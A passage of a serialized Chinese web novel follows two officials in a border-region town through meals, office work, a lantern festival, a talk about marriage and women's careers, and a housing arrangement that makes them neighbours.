舒染挽住他的胳膊,陈远疆走在前头,她跟在后面,一步一步往下走。 到了城墙脚下,舒染松开手,陈远疆也放下了胳膊。 “接下来去哪儿?”舒染问。 “去吃饭吧。”陈远疆说,“我知道一家小馆子,羊肉汤做得好。” “好。” 那家小馆子在一条小巷子里,门脸不大,但很干净。老板是个中年汉子,认识陈远疆,见他进来就笑:“陈干部来了?哟,还带了同志?里边请里边请!” 店里就三四张桌子,两人找了靠墙的桌子坐下,老板递过来菜单,其实就是一块小黑板,上面用粉笔写着几样菜。 “羊肉汤两碗,再来两个馕。”陈远疆点完,问舒染,“还要别的吗?” “够了。”舒染说。 老板应了声,去后厨忙活了。很快,两大碗羊肉汤端上来,汤色奶白,上面飘着香菜和葱花,羊肉切得薄薄的,堆得冒尖。馕也是洒满了芝麻,散发着香气。 “尝尝。”陈远疆把筷子递给她。 舒染夹了块羊肉放进嘴里,炖得软烂,不膻不腻。汤也鲜,喝一口暖到心里。舒染掰了一小块馕泡进汤里,吸饱了汤汁,吃起来格外香。 “好吃。”她说。 “嗯,这家我吃过,看来咱们口味一致。”陈远疆也埋头吃。 两人吃得浑身冒汗。吃完结账,从馆子出来,已经下午三点多了。 “去旧货市场?”陈远疆问。 “好。” 旧货市场里什么都有,舒染在一个卖旧书的摊子前停下。摊主是个老头,戴着老花镜,正低头看一本旧书。 “同志,随便看。”老头头也不抬地说。 舒染蹲下身翻看。书大多破旧,有的缺页,有的发霉,但种类挺多,有小说,有教材,还有些技术手册。她翻了一会儿,挑出一本。 “这本多少钱?” 老头抬眼看了看:“五分。” 舒染掏钱买了。又翻了一会儿,找到一本《边疆民歌集》,手抄的,纸页已经泛黄。她翻了翻,里面记录了不少少数民族的歌谣,有的还配了简谱。 “这本呢?” “一毛。”老头说,“这可是好东西,我收来的时候可费劲了。” 舒染也买了。陈远疆一直跟在她身后,看她挑书,没说话。等她买完了,才问:“还要看别的吗?” “再转转。” 市场不大,很快就转完了。舒染手里多了几样本书。 “差不多了。”她说,“回去吧。” “好。” 街道上人多了些,都是走亲访友回来的。 “今天高兴吗?”陈远疆忽然问。 “高兴。”舒染侧头看他,“谢谢你带我出来。” 陈远疆笑了笑没说话。但舒染能看出来,他心情很好。 回到院子时,已经下午六点了。 “你先收拾东西,”陈远疆停好自行车,“晚上吃完饭,我送你回去。” “好。” 舒染回了客房,开始收拾东西,东西不多,很快就收拾好了。 窗外,陈远疆正在院子忙活,她看着他的背影,心里忽然涌起点不舍,有点留恋。 但她没细想,起身去了堂屋。 陈远疆已经进屋了,他把水壶坐上去,转身看见她:“收拾好了?” “嗯。” “饿了吗?晚上想吃什么?” “随便做点就好。”舒染说,“我来帮忙。” 两人一起做了晚饭——炒了个土豆丝,炒了个肉菜,煮了锅面条。 吃完饭,陈远疆洗碗,舒染把堂屋收拾了一下。等一切收拾停当,天已经黑透了。 “我送你回去。”陈远疆穿上大衣。 “好。” 舒染拎着网兜,跟他一起出了门。 车上两人都没说话。 到了教育局宿舍,陈远疆和舒染一同下车。 “我上去了。”她说。 “初六上班?” “嗯。” “那……初五晚上,我来接你?”陈远疆说,“咱们一起吃顿饭。” 舒染愣了一下,随即笑了:“好。” 陈远疆站着没动:“你的炉子灭了吧,我去把炉子生个火?” 舒染心里一暖,点点头。 宿舍里冷清清的,炉子灭了,气温低得能呼出哈气。 陈远疆让舒染在一边休息着,自己提上铁桶去大院的煤棚铲了满满一桶煤,进屋后问道:“你平时怎么弄煤进来的?” 舒染不以为然:“我能提半桶啊。” 陈远疆拍了拍手上的灰,叮嘱道:“这么厉害,以后我过几天就来把煤给你补上,你人不在的时候也别熄火,盖上煤灰,回来再拨开添煤,这样房子就不冷了。” 陈远疆话说完,炉内的煤块也被他点起来了,他像是想起什么,“不用省着烧。” 舒染打趣道:“大领导三天两头给我题煤桶,面子上不太好看啊。” 陈远疆白了她一眼,脸上却带着笑:“你呀,就别□□的心啦。我走了。你早点休息。” “路上小心。”《 》 第161章【VIP】 第161章 初五下午, 陈远疆果然来了。 舒染刚把宿舍收拾完,炉子烧得正旺,就听见敲门声。拉开门, 陈远疆站在门外,手里提着个布袋子。 “我来早了?”他问。 “没有, 正好。”舒染侧身让他进来,“我刚收拾完。” 陈远疆进屋,把布袋子放在桌上:“带了点东西。有些是单位发的年货, 我一个人吃不完,给你拿点。” 舒染打开袋子看了看——有花生、瓜子、糖果,还有一包红枣,一包核桃。 “这么多?”她惊讶道。 “不多。”陈远疆说, “你留着慢慢吃。” 舒染没推辞, 把东西收进柜子里。转身时, 看见陈远疆正打量她的宿舍。 “你这儿挺干净的。”他说。 “地方小, 好收拾。”舒染笑笑, “坐吧, 我给你倒水。” 舒染在他对面坐下,“晚上想吃什么?在这吃还是出去吃?我这儿有面, 有鸡蛋,还有棵白菜。” 陈远疆略带浮夸地思考了一下, “今天外面比较冷,而且你收拾东西也累了吧, 要不就不出去了吧。”说着他从楼道里把一个大一点的布袋子提进来, “简单点就行,我来做吧。” 舒染看他早有准备的样子,笑道:“那怎么行, 你是客人。” “你坐着,我来。”陈远疆起身,挽起袖子,“厨房在哪儿?” “就这儿。”舒染指了指炉子上的小锅,“我这儿就一个炉子,凑合着用。” 陈远疆看了看,没说什么,从布袋里又掏出个纸包:“我带了点肉馅,咱们包馄饨吧。肉馅我昨天就调好了,还有一些紫菜和绿叶子菜,哦还有一瓶香油,和醋。” 舒染愣了:“你还带了馅?” “嗯。”陈远疆耳根有点红,“想着包馄饨快,吃着也暖和。” 舒染看着他,心想着:这人心思真是细得很。 “那好,咱们包馄饨。”她起身,“我去和点面。” 两人在宿舍里忙活起来。陈远疆洗菜切菜,舒染和面。案板就放在桌子上,两人面对面站着,一个擀皮切形状,一个包。 “皮擀薄点。”舒染说。 “嗯。” “馅儿放多点。” “好。” 馄饨包得很快,不一会儿就排满了盖帘。水烧开了,舒染把馄饨下进去。 “这是咱们第一次做馄饨。”陈远疆站在炉子边,看着锅里的馄饨。 “马上就好。”舒染用笊篱轻轻搅动,把陈远疆备好的绿叶菜放进水里焯了一下,“你去拿碗筷。” 陈远疆拿了两个碗,两双筷子。舒染撕了点干紫菜放进碗里,把馄饨和菜叶捞出来盛在碗里,又往碗里倒上热气腾腾的汤,最后滴了些香油。 两人坐在桌边吃馄饨。馄饨看起来晶莹剔透,一口咬下去咸淡正好。 “好吃。”陈远疆说,“这个汤调得好。” “是你带来的馅好。”舒染笑,“这肉馅肥瘦正好,不柴不腻。” 陈远疆没说话,埋头吃馄饨。他吃完馄饨又去盛了一碗,才放下筷子。舒染吃得慢,但也吃了十来个。 吃完馄饨,浑身都暖了。两人坐在炉子边喝茶聊天。 “明天就上班了。”陈远疆说,“你那边忙吗?” “还好。”舒染说,“开年有几个报告要写,还要下基层调研。你呢?” “我也差不多。”陈远疆喝了口茶,“综合治理办公室刚成立,千头万绪,得一点点理顺。” “压力大吧?” 陈远疆笑着叹了口气:“说不大是假的。但你别担心,我都习惯了。” 两人又聊了聊工作上的事,边疆发展的看法,还有各自单位里的趣闻。聊着聊着,时间就晚了。 陈远疆看了眼桌上的马蹄钟,已经十点多了。 “我该走了。”他起身,“你早点休息。” “嗯。”舒染也站起来,“路上小心。” 陈远疆穿上大衣,走到门口,又停下脚步,回头看她:“舒染。” “嗯?” “这个年……”他顿了顿,“我过得很不一样。” 舒染心里一动,看着他:“我也是。” 陈远疆嘴角弯了弯,点点头:“那我走了。” “好。” 陈远疆推门出去了。舒染站在门后,听着他的脚步声渐渐远去,直到消失在楼梯口。 她回到桌边坐下,看着已经被收拾好的桌面发了会儿呆。 初六早上,舒染早早起床,收拾整齐去教育局上班。 年假刚过,局里气氛还比较松散。同事们互相拜年,聊着过年的趣事。 舒染推开办公室的门,屋里很干净,显然是有人提前打扫过了。桌上放着一摞新送来的文件,还有几封信。 她脱下大衣挂好,坐下开始看文件。大多是全疆各地报上来的扫盲工作总结和新年度计划,还有几份是基层教学点的汇报材料。她看得很快,用铅笔在上面勾画批注。 看到一半,有人敲门。 “请进。” 门开了,居然是林雪舟。 舒染“咦”了一声,“林老师?”她放下笔站起身,“真是稀客。新年好啊!” 林雪舟穿着深蓝色的中山装,几年不见,眉眼间那股子书卷气还在,只是比在畜牧连时多了几分沉稳。看见舒染的热情,他先是一怔,随即也笑起来,那点局促消散了不少。 “舒染同志,新年好。”林雪舟走进来,带上门,“没打扰你吧?” “说什么打扰。”舒染绕过桌子,指了指墙边的暖壶,“快坐。喝茶吗?我刚沏的。” “不用麻烦……”林雪舟话还没说完,舒染已经倒了杯茶放在他对面的桌上。 “坐呀,站着干什么。”她回到自己座位,仔细打量他,“你什么时候到V城的?调过来了?” 林雪舟在椅子上坐下,双手接过茶杯:“去年年底调的。现在在教育研究室,做基础教材的编审工作。”他抬眼看向舒染,眼神里带着几分感慨,“没想到吧?咱俩又成同事了。” 舒染恍然。林雪舟有林副政委那层关系,调到全疆教育局倒也不意外。 “确实没想到。”舒染笑了,那笑容里有些怀念,“不过挺好的。在畜牧连那会儿,你就对教材有一套自己的想法,现在做这个工作正合适。” 提到畜牧连,林雪舟的表情柔和了许多,他低头喝了口茶:“是啊,现在编教材,经常想起当年咱们为了该教什么、怎么教争得面红耳赤的样子。” “你还说呢。”舒染挑眉,语气带着调侃,“那时候你可固执了,非要教《江南》,把孩子们听得一头雾水。” 林雪舟不好意思地笑了:“那时候是我太理想化。后来慢慢明白了,教育得接地气。”他看向舒染,眼神认真,“你在畜牧连做的一切,教会了我这个道理。” 舒染摆摆手:“都过去了。咱们都在成长。”她身体微微前倾,关切地问,“调过来还适应吗?研究室的工作和基层不太一样吧?” “确实不一样。”林雪舟放松了些,靠在椅背上,“主要是审稿、编教材,不像在基层。有时候对着稿子改半天,心里会想,这东西真的能帮到他们吗?” “肯定能的。”舒染语气笃定,“好教材就像好种子,撒下去,总会发芽。你编的时候想着那些孩子,编出来的东西就不一样。” 这话说进了林雪舟心里,他点点头,沉默了片刻。办公室里的气氛像是旧友重逢。 “对了,”林雪舟像是想起什么,放下茶杯,“局里安排我传个话。初十左右,兵团宣传部要下来个调研组,调研基层教育工作。周书记指定让你陪同,主要是去几个重点教学点看看。” 舒染心里一动,面上不动声色:“调研组组长是?” “郑涛。” 舒染点点头,端起茶杯慢慢喝着。郑涛,那个在兵团会议上跟她有过交锋的激进派。她抬眼看向林雪舟:“周书记还说什么了?” “让提醒你准备好材料,把握好分寸。”林雪舟推了推眼镜,迟疑了一下,还是补充道,“郑组长这人……思想比较活跃,说话直。你跟他打交道,多留个心。” 这话说得很委婉,但舒染听懂了里面的关心。她笑了笑:“谢谢提醒。在畜牧连那会儿,我就学会怎么跟不同风格的人打交道了。” 林雪舟也笑了:“那倒是。当年我那么固执,你都能把我劝明白。” 两人都笑起来,气氛更轻松了。 “还有件事。”林雪舟翻开笔记本,“综合治理办公室那边,可能要跟咱们局联合搞个试点,把教育、保卫、民政几个口子的资源整合起来,搞综合服务站。这事还在酝酿,但估计很快会启动。” “综合服务站?”舒染来了兴趣,眼睛亮起来,“具体什么形式?” “就是在边境团场选几个点,建个站,里面设扫盲班、卫生室、民兵值班室、还有生产技术服务点。”林雪舟详细解释着,“一站式解决群众的基本需求。教育这块,周书记的意思是由你牵头设计。” 舒染快速在心里盘算着。这是个重要的机会,不仅能做实事,还能扩大自己的影响力。她看向林雪舟:“你参与吗?” “我协助你。”林雪舟合上笔记本,“周书记让我先跟你通个气,让你有个准备。开春后应该就会启动,到时候要成立工作小组。” 舒染点点头,心里有了数。她想了想,主动问起:“对了,林副政委最近还好吗?好久没听到他的消息了。” 提到伯父,林雪舟的表情有些微妙,但很快恢复自然:“伯父他去年调到省里了,分管文教卫工作。” 林副政委升级到省级领导了。这对林雪舟来说是更硬的靠山。她面上保持平静,“那恭喜林副政委了。也恭喜你,有长辈在省里,工作上能少走些弯路。” 这话说得客气,但林雪舟听出了玄外音。他摇摇头,苦笑道:“舒染,咱们认识这么久了,我就跟你直说吧。伯父是伯父,我是我。我调到局里,确实是托了他的关系,但工作上的事,我不想靠这个。” 看向舒染的眼神很坦诚:“在畜牧连那段时间,我学到了很多。我敬佩你,是因为你靠自己的本事闯出了一片天。我也想这样。” 舒染看着他,想起当年那个固执又纯粹的年轻老师。时间改变了一些东西,但骨子里的傲气和追求还在。 她点点头,语气真诚:“我相信你。在畜牧连那会儿,你就是个认真做事的人,现在肯定也是。” 林雪舟松了口气,表情轻松了些:“谢谢。其实能跟你再一起工作,我挺高兴的。在局里,我认识的人不多。” 这话说得有点落寞,舒染心里一动。林雪舟骨子里还是那个文人,不太擅长人情世故。她想了想,温声道:“慢慢来。局里同志们都挺好相处的。有什么需要帮忙的,可以来找我。” “好。”林雪舟站起身,“那不耽误你工作了。我先回去,有什么事随时找我。” 舒染也站起来送他。走到门口,林雪舟忽然回头:“舒染。” “嗯?” “当年在畜牧连……有些事,我处理得不好。如果让你为难了,我道歉。” 舒染笑了,“都过去了。那时候咱们都年轻,都有自己的坚持。现在想想,都是为了孩子们好。” 林雪舟点点头,推门出去了。 舒染站在门口,看着他的背影消失在走廊尽头,才轻轻关上门。 她坐回椅子上,端起茶慢慢喝着。 林雪舟这次来,姿态放得很低,甚至有些示好的意味。是因为林副政委升级了,他想修复关系?还是真的只是想好好工作,找个能相互理解的旧识? 舒染放下茶杯,手指在桌面上轻轻敲着。 不管怎样,林雪舟这个人,可以交际。他有能力,有背景,也有共同奋斗过的情谊。只要把握好分寸,保持适当距离,将来或许能成为工作上的助力。 但要防着点。林副政委那层关系太敏感,走得太近,怕被当成林家的人;离得太远,又怕得罪人。这个度,得好好把握。 舒染有些烦躁抓了抓头发,应对这些事情果然还是耗神费力啊,她现在一点也不想在人情世故里周旋。 正想着,又有人敲门。这次是周书记的秘书小刘:“舒染同志,周书记请你过去一趟。” “好,马上来。” 舒染收拾了一下桌面,跟着小刘去了周书记办公室。周书记正在看文件,见她进来,笑着招手:“小舒来了?坐。” 舒染在办公桌对面的椅子上坐下。周书记放下文件,看着她:“年过得怎么样?” “挺好的,谢谢书记关心。” “嗯。”周书记点点头,“今天找你来,主要是两件事。第一件,林雪舟同志去找过你了吧?” “刚来过。”舒染说,“说了调研组和综合服务站的事。” “那就好。”周书记说,“林雪舟同志调来局里,是组织上的安排。他伯父现在分管省里文教卫工作,对咱们局的工作很关心。” 话说得委婉,但意思明确。舒染点头:“我明白。” “你明白就好。林雪舟同志有能力,也有热情,就是有时候书生气重些。你们在畜牧连共过事,彼此了解。工作上要多沟通,多配合。” “是。”舒染说。 “调研组的事,你要重视。”周书记语气严肃了些,“郑涛这个人,风格你知道。展示成绩可以,但不要跟他争论理论。重点是实际成效。” “第二件事,”周书记从抽屉里拿出一份文件,“综合治理办公室的试点方案,初稿出来了。你看看。” 舒染接过文件,快速浏览了一遍。方案很详细,选了三个边境团场做试点,每个试点建一个综合服务站。服务站里设四个板块:文化教育、医疗卫生、治安保卫、生产服务。每个板块都有具体的工作内容和考核指标。 “你觉得怎么样?”周书记问。 “方向很好。”舒染说,“但具体实施上,可能还有些细节需要推敲。比如文化教育这块,扫盲和实用技术培训怎么结合,师资怎么解决,都需要更具体的方案。” “嗯,你跟我想的一样。”周书记说,“所以,局里决定成立一个试点工作小组,由你牵头,负责教育板块的设计和实施。另外三个板块,也有专人负责。你们定期开会,协调推进。” “我一定尽力。”舒染说。 “好。”周书记笑了,“我就知道你能行。另外,还有件事——陈远疆同志在综合治理办公室负责治安保卫板块,你们工作上会有很多交集。要好好配合。” 舒染耳根一热,面上保持平静:“是,我会的。” 从周书记办公室出来,舒染回到自己办公室。 综合服务站试点,陈远疆也会参与。 接下来的几天,舒染忙得脚不沾地。 调研组要来的事,综合服务站试点的事,还有日常的报告和材料,堆满了她的办公桌。她白天在局里处理文件,下班后还得加班写方案,经常熬到深夜。 陈远疆那边也忙。综合治理办公室刚成立,百事待兴,他又是负责治安保卫板块的一把手,经常要去调研,开会协调,有时候几天都见不到人。 两人偶尔碰上,匆匆打个招呼,说不上几句话。 正月十五那天,局里组织去看灯会。V城不大,灯会也简单,就是在主街上挂了些红灯笼,组织了些扭秧歌、踩高跷的表演。但过年气氛还没散,街上人很多,热热闹闹的。 舒染跟几个女同事一起去的。街上人挤人。她看了一会儿表演,觉得有点吵,就一个人往人少的地方走。 走到街角,看见陈远疆站在那儿。他也一个人,穿着军大衣,正抬头看一盏灯。灯影映在他脸上,明明灭灭。 舒染走过去:“你也来看灯?” 陈远疆转头看见她,眼里闪过一丝惊喜:“嗯。单位组织的,我溜出来了。太吵了。” “我也觉得吵。”舒染笑了,“这儿清静。” 两人并排站着,看那盏灯。 “真好看。”舒染说。 “嗯。”陈远疆应了一声,转头看她,“你吃饭了吗?” “吃了,在食堂吃的。” “我还没吃。”陈远疆说,“那边有个小馆子在卖元宵,要不要一起去吃点?” “好。” 两人挤过人群,找到那个小店。店主是个老太太,正忙着煮元宵。 “两碗元宵。”陈远疆说。 “好嘞。”老太太麻利地盛了两碗,撒上白糖,“同志,端好。” 两人端着碗,找了个位置坐下吃吃。元宵是芝麻馅的,咬一口,香甜的馅料流出来,混着糯米很好吃。 “真甜。”舒染说。 “嗯。”陈远疆埋头吃,很快吃完了一碗,“你够吗?不够再买。” “够了。”舒染也吃完了,“再吃就腻了。” 吃完元宵,两人又在街上逛了一会儿。人还是很多。走到一处人少的地方,陈远疆忽然说:“去城墙那儿走走?那儿清静。” “现在?” “嗯。不远,走一会儿就到了。” 舒染想了想:“好。” 两人离开主街,往城墙方向走。越走人越少,喧闹声渐渐远去。月光照在雪地上,亮堂堂的。 走到城墙下,陈远疆先爬上去,转身伸手拉她。舒染握着他的手,借力爬上去。他的掌心温热,握紧她时有种理所当然的熟稔。 城墙上视野开阔,能看见远处街上的灯火。 “真好看。”舒染轻声说。 “嗯。”陈远疆站在她身边,也看着远处,“我也觉得。” 陈远疆没松开她的手。两人并肩站着,手指在衣袖下交握,谁都没有说话。 “舒染。”陈远疆忽然开口。 “嗯?” 舒染转头看他。月光下,他的睫毛很长,眼神也很认真。 “有时候想想,真像做梦。” 陈远疆转过身面对她:“从见到你第一面,到现在这样站在这里。” 他的手指无意识地摩挲着她的指节,“那时候你脸色苍白,眼睛却那么亮。我提着你的箱子,心里想,这个资本家小姐,怕是熬不过第一个冬天。” 舒染笑了:“然后呢?” “然后你挨个巴掌,找我批条子要褥子,在食堂背三大纪律,一个人修工具棚。”陈远疆的嘴角也弯起来,“我就想,这姑娘怎么这么特别。” 风卷起雪沫扑在脸上,凉丝丝的。舒染没接话,等着他说下去。 “后来你救李大壮,在渠上累得脱力,腰伤成那样还要去挑水。”陈远疆的声音沉了沉,“我那时候不知道为什么……心里很不是滋味。我觉得那不是你应得的生活。” 他看着她,眼中的情绪似乎要溢出来,“舒染,我这个人,不太会说漂亮话。在部队待久了,办事只会直来直去。可我对你是真心的。” 他说得认真,舒染看着他泛红的耳根,轻轻笑了。 “知道啦。”她故意拖长声音,带了点调侃,“陈大领导这话,我要拿本子记下来,以后写回忆录用。” 陈远疆被她这么一打趣,耳根更红了,却还强撑着严肃:“我是认真的。” “我知道你是认真的。”舒染笑出声,晃了晃两人交握的手,“我也没说你是开玩笑啊。” 陈远疆这才松了口气,眼神柔和下来。他又望向远方,沉默了半晌,才低声说:“我就是有时候觉得不真实。你那么好,我这样的人……” “你这样的人怎么了?陈大领导不会自卑了吧。”舒染笑着挑眉。 “我这个人,闷得很,不会说话,工作还危险,经常不着家。”陈远疆说得很慢,像是在数自己的缺点,“除了会干点保卫工作,别的……” “别的还会做饭,会修房子,会帮我扫雪,会大老远带好吃的回来。”舒染接过话头,语气轻松,“陈远疆同志,你这自我批评的力度,是不是有点过了?” 陈远疆怔了怔,转头看她。舒染正笑盈盈地看着他,眼睛里亮晶晶的。 “我这不是自我批评。”他认真地说,“我是说真的。你能看上我,是我……” “是你运气好?”舒染歪着头接话。 “是我……”陈远疆卡住了,憋了半天,终于低声说,“是我这辈子最大的福气。” 这话他说得很轻,但舒染听清了。 “陈远疆。”她叫他的名字。 “嗯?” “你这个人啊,”舒染叹了口气,语气里带着笑意,“看着冷,其实心思比谁都细。正直,可靠,有担当,会疼人。”她顿了顿,半开玩笑地说,“是个最佳结婚人选。” 她说这话时,带着点玩笑的语气,是想附和一下这表白的气氛。但话一出口,她就看见陈远疆的眼睛一下子亮了。 陈远疆握着她的那只手猛地收紧了,“你是说……你愿意?” “我……”舒染刚想解释这只是个玩笑,“我说你是个最佳结婚人选啊。” 她想抽出手拍拍他,“你确实很优秀啊,怎么开个玩笑还当真——” 舒染却抽不出来那只手。 “结婚需要手续,”他语速快起来,“你愿意的话,我明天——不,今晚回去就写申请。咱们俩的情况,政审可能需要点时间,但不会太长。住房……住房你不用担心,我那院子你见过的,虽然不大,但够住。你要是嫌小,或者想离你单位近点,我可以申请调换,或者咱们申请新的也行,就是得等……” 他越说越快,“婚礼看你喜欢,你要是喜欢热闹我们就办的热热闹闹,你要是想从简,我们就请几个要好的朋友和同事。你要是想通知家里,我陪你去信。要是暂时不想也行,以后再说。对了,居家用品得做新的,我存了些票,什么票都够……” “等等!”舒染赶紧拉住他的胳膊,“陈远疆,你等等!” 他眼里的光还没散去:“怎么了?” 舒染看着他激动的样子,心里又暖又想笑。这个人平时那么沉稳,听到“结婚”两个字,居然激动成这样。 她不该开那个玩笑的。 “对不起。”她松开他的胳膊,声音低了下去,“我刚才那是玩笑话。你别当真。” 陈远疆眼里的光黯了下去,他看着她,小心翼翼地问:“玩笑话?你……不想结婚?” “不是不想。”舒染斟酌着措辞,“是我还没做好准备。” “是我太着急了。”陈远疆想做出个笑的样子,没太成功,“吓着你了吧?” “不是你的问题。”舒染的声音低了下去,“陈远疆,我跟你坦白。我对婚姻,有点怕。” 陈远疆静静地听着,重新握住她的手放在口袋里。 “怕结婚。”舒染转过脸“怕的不是你,是这个时代的婚姻。” 她决定把话说开。有些话,早说比晚说好。 “女同志没结婚的时候,个个都能干,在岗位上干得风生水起。可一结了婚,生了孩子,就被拴住了。家务、孩子、丈夫的衣食住行……所有的时间、精力都被这些东西分走了。再想回到事业上就难了。不是她们不想,是现实不允许。一天就二十四小时,顾了这头,就顾不了那头。” 她看着他认真地说:“我不想那样。我有我想做的事,有我想走的路。但是婚姻里往往默认牺牲的是女人。” 陈远疆安静地听着,没有打断。 “还有孩子。”舒染的声音更低了,“有了孩子,牵挂就更多了。我不是不喜欢孩子,我只是还没准备好把自己的人生和另一个人、甚至几个人绑得那么紧。我怕到时候,舒染就不是舒染了,只是谁的妻子,谁的母亲。” 良久,陈远疆开口:“舒染,这就是我欣赏你的一点,你很有想法,你很自由,你不会让自己被任何事困住。” 舒染有些意外地看向他。 “我喜欢你,想跟你在一起,但我不想用结婚证绑住你,更不想让你因为我放弃什么。” 他在口袋里捏了捏她的手:“你刚才说对不起,其实该说对不起的是我。是我……太贪心了。” “贪心?” “嗯。”他点点头,“你当初答应和我在一起,我就已经很感激了。其实,只要你愿意让我陪在你身边,支持你,照顾你,我就满足了。结婚不结婚,不重要。” 他往前走了一步,“结婚证不过是一张纸。我要的从来不是那张纸。只要你能让我在你身边,我就很高兴了。” 他看着她,眼神里是坦然的坚定:“所以,你不用担心。我们现在这样,就很好。你想飞多高就飞多高。我别的不敢说,但替你守着后方,让你没有后顾之忧,这点事还做得到。” 舒染的鼻子一酸。他总是为她着想,把她的感受放在第一位。他可以不要婚姻的保障,只要一个能站在她身边的资格。 “陈远疆。”她轻声说。 “嗯?” “谢谢你。”她说,“谢谢你理解我。” 陈远疆笑了,笑容在月光下显得格外温柔:“不用谢。我说过,我会一直支持你。” “你呀,傻不傻?” “遇见你之后,是有点。” 两人在城墙边又站了一会儿,手牵在一起,谁也没说话。 最后,陈远疆替她拢了拢被风吹乱的鬓发:“回去吧,冷了。” “好。” 下城墙时,陈远疆忽然停下,“舒染。” “嗯?” 他看着她的眼睛,很认真地说:“我刚才说的,都是真心话。你不用有压力。无论到什么时候,无论你做什么决定,我都站在你这边。结婚也好,不结婚也罢,只要你需要我,我就在。” 舒染的眼眶有点热,她用力点头:“嗯。” 陈远疆笑了,伸手摸了摸她的头,“走吧,送你回去。”—— 作者有话说:关于婚姻的观点,仁者见仁智者见智吧~《 》 【正文完结】 第162章 城墙那夜后的第三天, 舒染在办公室加班写材料时,周书记的秘书小刘来敲门。 “舒染同志,周书记请您现在过去一趟。” 舒染放下笔, 心里有些疑惑。这个时间点,周书记找她能有什么事?她整理了一下桌上的文件, 跟着小刘去了书记办公室。 周书记正在看一份文件,见她进来,摘下眼镜:“小舒来了?坐。” 舒染在对面坐下。周书记没急着说话, 而是先给她倒了杯茶——这待遇不常见。 “小舒,有件事得跟你正式通个气。”周书记推过来一份文件,“关于你住宿调整的意见。” 舒染接过。是师部保卫处和综合治理办公室的联合文件,标题是《关于重点领域贡献人员安全保障及工作协调机制的优化说明》。 上面写着:因舒染同志工作性质特殊, 常赴边境、贡献突出, 为保障其安全及试点工作高效推进, 经组织研究, 调整其住宿至安保条件更完善的综合治理办公室家属区, 并由办公室负责其相关外出安保协调。 “你和小陈, 好几年了吧?”周书记问。 “嗯。” “这几年里,你下基层十七次, 其中十一次是去边境团场。综合服务站从三个试点扩展到十二个,培训教师三百多人。”书记敲了敲文件, “成绩是实打实的。但组织上也一直关注着另一件事——你的安全,还有这个安排的社会影响。” 舒染坐直了身体。 “按常理, 你们该结婚了。”周书记说得直接, “但组织上研究过,也征求过小陈的意见,最后决定——维持现状。” 这出乎舒染的意料。 “理由有三。”书记竖起手指, “第一,你的工作性质特殊。常跑边境,需要灵活机动。结了婚,按惯例女同志会减少外勤,但你的工作离不开一线。第二,小陈的岗位也特殊,你们俩都忙,真按常规家庭模式过,反而互相拖累。” 他顿了顿,声音低了些:“第三,也是最关键的一点——首都那边托人带过话。” 舒染心里一惊,但她没有表现出来。 “话很简短:对有贡献的年轻人,要多些理解,少些框框。只要不违反原则,个人生活的事,让他们自己把握节奏。”周书记看着她,“这话不是命令,是一种态度。但我们可都听懂了。” 他合上文件:“所以你现在这个状态,是特例。组织上给的理由是‘安全保卫和工作协调需要’,这理由很充分,因为你是真的常去危险区域,工作也是真的需要随时协调。但更深层的原因,是组织愿意给有贡献的同志一些特殊的包容。” 周书记把调配通知递给舒染:“你的新住处安排好了。综合治理办公室家属院,乙号院。隔壁甲号院住的是陈远疆同志。” 见舒染愣住,书记笑着解释:“别多想。按级别和贡献,你们都该有独立住处。刚好相邻两个院子空出来,就一起安排了。离得近,工作协调方便,生活上也能有个照应——当然,是同志间的照应。” 舒染接过文件。手续齐全,理由正当。 “书记,谢谢组织……” “不用谢。”周书记摆摆手,“这是你自己挣来的。你工作干得好,为人端正,和小陈相处也有分寸。组织上才愿意开这个绿灯。”他语气郑重起来,“但小舒,你要明白,这个绿灯能亮多久,取决于你们自己。工作不能松,作风不能出问题,要给这个特例争口气。” “我明白。” “明白就好。”书记笑了,“回去吧。” 从书记办公室出来,舒染没有回自己办公室,而是直接去了综合治理办公室的院子。 陈远疆正在开会,等了约莫半小时,会议散了,他第一个走出来,看见她站在走廊里,愣了一下。 “你怎么来了?”他快步走过来,“出什么事了?” 舒染看着他眼里的关切,扬了扬手里的文件:“周书记找我谈话了。” 陈远疆的表情瞬间紧张起来。他张了张嘴,想说什么,又咽了回去,最后只低声道:“去我办公室说。” 进了办公室,关上门。陈远疆没有坐,站在她面前有些局促。 “那份住房调配,”舒染看着他,“是你的主意?” “是。”陈远疆答得很快,“但我只是向组织上反映了你宿舍的条件问题,具体怎么安排,是局里和办公室一起商量的。” 他说得很急,像是怕她误会:“舒染,你别生气。你要是不愿意,我这就去跟周书记说,就当没这回事。我就是看你冬天屋里冷……” “我没生气。”舒染打断他。 陈远疆一愣,没想到她会这么说。 舒染又问:“要是别人要是问起来,怎么说?” “就说工作需要。”陈远疆显然想过这个问题。 舒染看着他认真回答每一个问题的样子,忽然笑了。 “陈远疆,”她说,“你想得还挺周全。” 陈远疆老实的回答:“我就是想让你过得好点。” 舒染走到他面前,仰头看着他:“我要是搬过去,你得答应个事。” “你说。”陈远疆立刻点头。 “对外,我们就是工作需要。对内你怎么想我管不着,但别让我不好做。” 陈远疆愣了一下,随即笑了:“行。” “那就这样吧。”舒染把文件塞回他手里。 陈远疆接过文件,“你真愿意?” “为什么不愿意?”舒染挑眉,“住得好,还能去你那里蹭饭,傻子才不干。” 她说得轻松,像是在谈一笔交易。但陈远疆听懂了,她接受了以一种符合这个时代规矩的方式,接受了他的照顾。 “好。”他把文件小心地折好,放进抽屉,“我明天就去办手续。周末就搬,行吗?” “行。” 周末搬家时,陈远疆叫了两个勤务员来帮忙。舒染东西不多,一车就拉完了。 走进院子,她看到了自己的新家:一座整洁的小院,三间北房,厨房、杂物间齐全。而隔壁院子,陈远疆正站在门口。 “欢迎。”他说,指了指两院间那道及腰的矮墙,“这墙有点矮。” 住下后不久,一个周末的早晨,舒染听到隔壁传来敲打声。推开院门,看见陈远疆正带着后勤处的两个工人,在矮墙上测量。 “这是?” “请示过了。”陈远疆递过来一份批条,“两个院子中间太空,打算开个月亮门,搭个葡萄架。夏天能遮阴,秋天有葡萄吃,也算美化环境。” 批条上写着:“同意甲、乙号院之间搭建绿化廊道,以改善居住环境。” 工人们动作利落,半天功夫,墙上便开出一道圆拱门,接着搭起木架。 “这样,”他在廊道基本成型时说,“平时可以各自关门,保持独立。需要商量工作或者借个东西,也方便。”他顿了顿,“葡萄藤长密了,从外面看不清里面。” 舒染看着初具规模的花廊,既连通了两个空间,又保留了足够的遮蔽和隐私。 “还缺什么?”陈远疆站在门口问。他没进来,就站在门槛外。 “不缺了。”舒染环顾四周,“挺好。” “那就好。”陈远疆点点头,“你先收拾,我去做饭。好了叫你。” 